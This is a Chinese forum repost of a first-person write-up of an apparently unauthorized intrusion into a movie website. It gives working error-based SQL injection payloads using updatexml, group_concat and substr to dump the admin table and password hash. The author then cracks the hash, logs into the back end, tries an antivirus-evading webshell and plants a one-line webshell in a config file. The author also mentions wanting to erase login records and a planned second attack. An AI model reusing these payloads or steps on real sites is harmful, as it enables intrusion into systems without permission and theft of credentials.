ToB企服应用市场:ToB评测及商务社交产业平台

标题: 记一次SQL注入的收获 [打印本页]
作者: 鼠扑    时间: 2022-10-20 18:52
标题: 记一次SQL注入的收获
一、发现漏洞

1.1. 发现

这是一篇两年前的笔记了。之前平常喜欢看些电影影片，不想充值VIP，才发现的网站，但是这个网站A并不是主要测试的，而是通过发现他的兄弟网站B，然后进行渗透。
1.2. 测试

有事没事对网站动一动，发现A存在XSS，但是并没有多大的利用价值，但是通过友情链接，跳转到了B，就觉得B可能也在同个位置存在XSS但是，令人惊讶的是，我没发现XSS，但是确发现存在SQLI。加了个’,直接把sql语句爆出来了，如下图1。
[img=720,425.55223880597015]https://www.hetianlab.com/headImg.action?news=cf14fa88-249e-4d31-821b-bd695e4c9d05.png[/img] 
图 1
二、漏洞利用

2.1 闭合规则

原始的语句：
  1. SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share
  3. FROM (`y80s_movies`)
  5. LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id`
  7. WHERE `y80s_movies`.`public` = '1'
  9. AND `y80s_movies`.`attribute` NOT LIKE  '%%1%%'
  11. AND (name like '%XXX%' or aka like '%XXX%')
  13. ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC
  15. LIMIT 25
复制代码
 
原始报文：
  1. HTTP/1.1 500 Internal Server Error
  3. Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Accept-Encoding, UserAccount
  5. Server: nginx
  7. Date: Thu, 29 Oct 2020 01:36:40 GMT
  9. Content-Type: text/html; charset=utf-8
  11. X-Powered-By: PHP/5.6.38
  13. X-Cache: MISS from aws-jp08
  15. X-Cache: MISS from asia-hk11
  17. Connection: close
  19. Content-Length: 882
  21. Array
  23. (
  25.     [0] => Error Number: 1064
  27.     [1] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or aka like '%xxx%')
  29. ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.' at line 6
  31.     [2] => SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share
  33. FROM (`y80s_movies`)
  35. LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id`
  37. WHERE `y80s_movies`.`public` = '1'
  39. AND `y80s_movies`.`attribute` NOT LIKE  '%%1%%'
  41. AND (name like '%XXX%' or aka like '%XXX'%')
  43. ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC
  45. LIMIT 25
  47.     [3] => Filename: /home/wwwroot/XXXX/libraries/datamapper.php
  49.     [4] => Line Number: 1410
  51. )
  53. <html>
  55. <head>
  57. <title>Error</title>
  59. </head>
  61. <body>
  63. hi</body>
  65. </html>
复制代码
 
 XXX为输入的位置，同上可以看出，会同时在两处插入，但其实只需要管一处即可，后面可以注释掉。
当时在考虑，怎么闭合这个规则，怎么执行自己想执行的语句。但是可能被这么长的语句吓到了，不知道从何下手。也可能是因为自己数据库基础不扎实。其实仔细分析，都是可以化繁为简的。这语句也就是select 字段 from 表名 （一个左外连接） where XXX and XXX and XXX order by XXX。以上是我想的，看看老王想的：这个构造看清大逻辑，select xxx from ta left outer join tb on ta.a=tb.b where con1=xxxxx and con2=xxxx oder by a.a,b.b limit 25，然后得出：注入是在where那里。你学废了吗？
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
　① 网安学习成长路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC漏洞分析报告
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂面试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
2.2 爆数据

这步应该是最多的，一开始自己找不到闭合规则，经常会报错，而且还是乱码，如下图2：

图 2
一开始猜测是回显了数据表，所以导致了乱码，但是并不是，应该只是服务器的问题。这服务器本来就不太稳定，换下查询数据，刷新页面，多试几次就好了。然后思路就想着，构造一个判断语句，通过是与否来判断数据库的信息，然后有了以下的两个payload：
1、%e4%ba%ba') and 1=1 or (‘1’=’1
2、%e4%ba%ba') and exists(select path from y80s_photos) or ('1'='1
 
但是这payload真的是太傻了，好在报错信息有提供表名和mysql默认表dual，不然都没法判断是否构造完成。接下来是内容由老王指导完成。
通过union或者updatexml进行查询，内容有回显，一开始我并不知道的，后面通过百度查询到了updatexml用法，于是自己构造了个：
1、%e7%88%b1') and updatexml(1,concat('~',(select database()),'~'),3)--+
获取了数据名80s，如下图3：
 [img=720,459.5121951219512]https://www.hetianlab.com/headImg.action?news=cbce1855-5942-4ef8-be61-fec454d7f903.png[/img] 
图 3
既然可以回显，那紧接着，就是查询所有的表名。
笔记：
查询数据库中所有表名
select table_name from information_schema.tables where table_schema='数据库名' and table_type='base table';
select table_name from information_schema.tables where table_schema='数据库名'
 
查询指定数据库中指定表的所有字段名column_name
select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名'
于是构造了
payload：%e7%88%b1') and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='80s' limit 0,1),'~'),3)--+
其实limit是后面加的，服务器返回：Subquery returns more than 1 row，但是这边只能显示一条，所以一开始思路是使用limit一条一条去查出来，如下图4、图5：
[img=720,399.52095808383234]https://www.hetianlab.com/headImg.action?news=a30408ed-d4b0-457f-8faa-ed4860c0f298.png[/img]

图 4
 
图 5
利用burp-Intruder爆破出数据库，但是，这样太慢了。
老王提供了个函数group_concat()，group_concat()类似一个聚集函数，把所有内容拼接成字符串，默认用逗号隔开。于是我的payload就变成：
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s'),'~'),3)--+
但是，人算不如天算，他回显内容有限制长度的，如下图6：

图 6
看Y80应该可以明显感觉断了，及时看不出来，也不应该就这几个表吧！这时候想到，我们岂不是可以通过limit限制内容，把已经看到了的不输出，我真是天才，然后我构造了payload：
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s' limit 6,2),'~'),3)--+
发现页面居然正常跳转了，没有报错，我人傻了，估计是sql语句又哪里有问题了吧！后面看了老王的，他构造的是：
123333') and updatexml(1,concat(0x7e,(select group_concat(x.movie_id) from (select movie_id from hits limit 3,3)x),0x7e),1)--+
select group_concat(x.movie_id) from x，从x表查询movieid，然后聚集成一行，x表是个别名，x  =  seelect movie_id from hits limit 3,3，从hits查movieid，从记录3往后查3条，结果是个一列三行的数据临时表，然后前面配合聚集，把这三行连接，这样就不用limit a,1这种，每次限制一行记录，这个可以limit a,5这样，一次查五条。搜嘎！
由于我只是想登入后台，尝试找出管理员的表即可，我就还是一个一个试，最终找到管理员表y80s_managers，然后根据payload：
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='80s' and table_name='y80s_managers'),'~'),3)--+
查询出字段名id,name,password,right_id,lock等，如下图7：
[img=720,394.16583416583416]https://www.hetianlab.com/headImg.action?news=11e0ea0a-0a11-4561-af52-668c425daba3.png[/img]
图 7
但是我们主要还是账号名密码，所以继续！构造payload：
%e5%a6%bb') and updatexml(1,concat('~',(select group_concat(name) from y80s_managers),'~'),3)--+
如下图8：
[img=720,376.80238331678254]https://www.hetianlab.com/headImg.action?news=7485ef3b-780e-41ad-bf9e-e70095f88144.png[/img]
图 8
可以看到，只有一个账户，name为me****zz，再查询密码，如下图9：
[img=720,427.74384236453204]https://www.hetianlab.com/headImg.action?news=57af6d8b-cac5-4c70-81aa-e063f121f784.png[/img]
图 9
忘记这个是有限制字段的，也没注意看是否是以~结尾，然后拿去md5解密，发现解不开，数了一下，31位的md5？这时候才发现，后面还有。于是使用substr函数，去截取后面的字段，回显！
Payload：%e6%96%b0') and updatexml(1,concat('~',(select substr(password,31) from y80s_managers),'~'),3)--+
Substr(str,pos,len),pos开始的位置，len为长度，str字符串，len没输入的时候默认是pos开始截取到最后的位置。于是有了以下图10：
[img=720,416.72727272727275]https://www.hetianlab.com/headImg.action?news=6d08d089-0e2d-4d4b-b397-51b9d1f9d490.png[/img]
图 10
果然掉了一位，最后得到md5：9356*************63c
三、解密账号密码

3.1成功登录

Md5解开后得到账号名密码：
Me****zz，935********63c(pj*****@)
然后使用dirsearch，搜索出后台（其实我是先找到后台才想着去注入的），成功登录，如下图11：
[img=720,299.3948797517455]https://www.hetianlab.com/headImg.action?news=564ccce3-4185-4821-81a6-b4edccd598a7.png[/img] 
图 11
原本想删除登录记录的，但是发现这后台功能有点简陋，好像没有发现有登录记录之类的，就没先下了，后续再二次进攻！
3.2 收获其他信息

以下是收集到的其他信息：
  1. database：80s
  3. mysql5.6.44
  5. table:hits,y80s_ads,y80s_articles,y80s_bigphotos,y80s_caijis,y80s_cast_infos,y80s_casts,y80s_casts_movies,y80s_directors_movies,y80s_directors,
  7. y80s_dlurls,y80s_dlurls_movies,y80s_doubans,y80s_duoshuo_comments，y80s_forhotmovies，y80s_hits，y80s_hotwords，y80s_infos，y80s_managers，y80s_moviedesc_ups
  9. y80s_ads:
  11. id title name content
  13. y80s_managers：
  15. id,name,password,right_id,lock
复制代码
 
四、寻找上传点

发现该网站存在设置影片的图片，直接上免杀马。免杀马是github上大佬写的生成工具，已测试过是可以过360和D盾的。链接：https://github.com/pureqh/Troy
[img=720,508.2352941176471]https://www.hetianlab.com/headImg.action?news=d21a9207-fec8-4613-bef2-1e365ed28b3a.png[/img]
[img=720,391.2796208530806]https://www.hetianlab.com/headImg.action?news=e84484b9-1fe9-49c4-a418-8d153fdf87a5.png[/img] 
服务器直接报错。多番尝试发现无法上传马。还发现了数据库备份，但是貌似无法修改数据库扩展名。
五、柳暗花明又一村

在查看网站功能的时候，我又发现了另一个好东西：
[img=720,463.51931330472104]https://www.hetianlab.com/headImg.action?news=2e62ddf9-0861-4d86-b67f-7a8c4b5982c0.png[/img] 
配置文件编辑。直接把一句话木马写到配置文件里面。通过写入后，发现在每个页面初始化的时候，都会去调用该配置文件。直接getshell。
六、小结

闭合规则是花费时间最长的，还有后面要利用的时候，构造payload也是我花费时间最多的，基本都是百度上查，很多都不懂，两个的根本原因还是因为对sql注入，乃至数据库的基础都不是很懂，很多函数，都不知道，不知道有功能有什么函数，在利用的时候就难以下手，耗费大量时间。其次还可通过mysql直接写入shell的，这个也是后面才知道的，不过写入shell的前提条件较为苛刻。
更多靶场实验练习、网安学习资料，请点击这里>>
 

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4